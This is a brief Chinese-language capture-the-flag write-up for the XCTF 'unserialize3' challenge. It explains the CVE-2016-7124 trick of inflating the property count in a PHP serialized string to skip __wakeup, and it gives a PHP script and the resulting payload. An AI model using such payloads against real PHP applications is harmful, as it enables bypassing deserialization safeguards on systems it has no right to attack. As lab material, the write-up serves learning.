XCTF-unserialize3

unserialize3

这道题还是php反序列化

进来看到给了几行代码

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

说明有个xctf类,然后有个魔法函数__wakeup(反序列化时会触发)

今天早上刚做过一道题,利用CVE-2016-7124漏洞,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

php脚本

<?php 
class xctf{
	public $flag = '111';
	public function __construct($flag) { 
        $this->flag = $flag; 
    }
	public function __wakeup(){
	exit('bad requests');
	}
}
$a = new xctf('xxx');
$b = serialize($a);
echo $b;
echo '<br>';
$c= str_replace(':1:', ':2:', $b);
echo $c;

?>

payload:O:4:"xctf":2:{s:4:"flag";s:3:"xxx";}

原文地址:https://www.cnblogs.com/R3col/p/12698508.html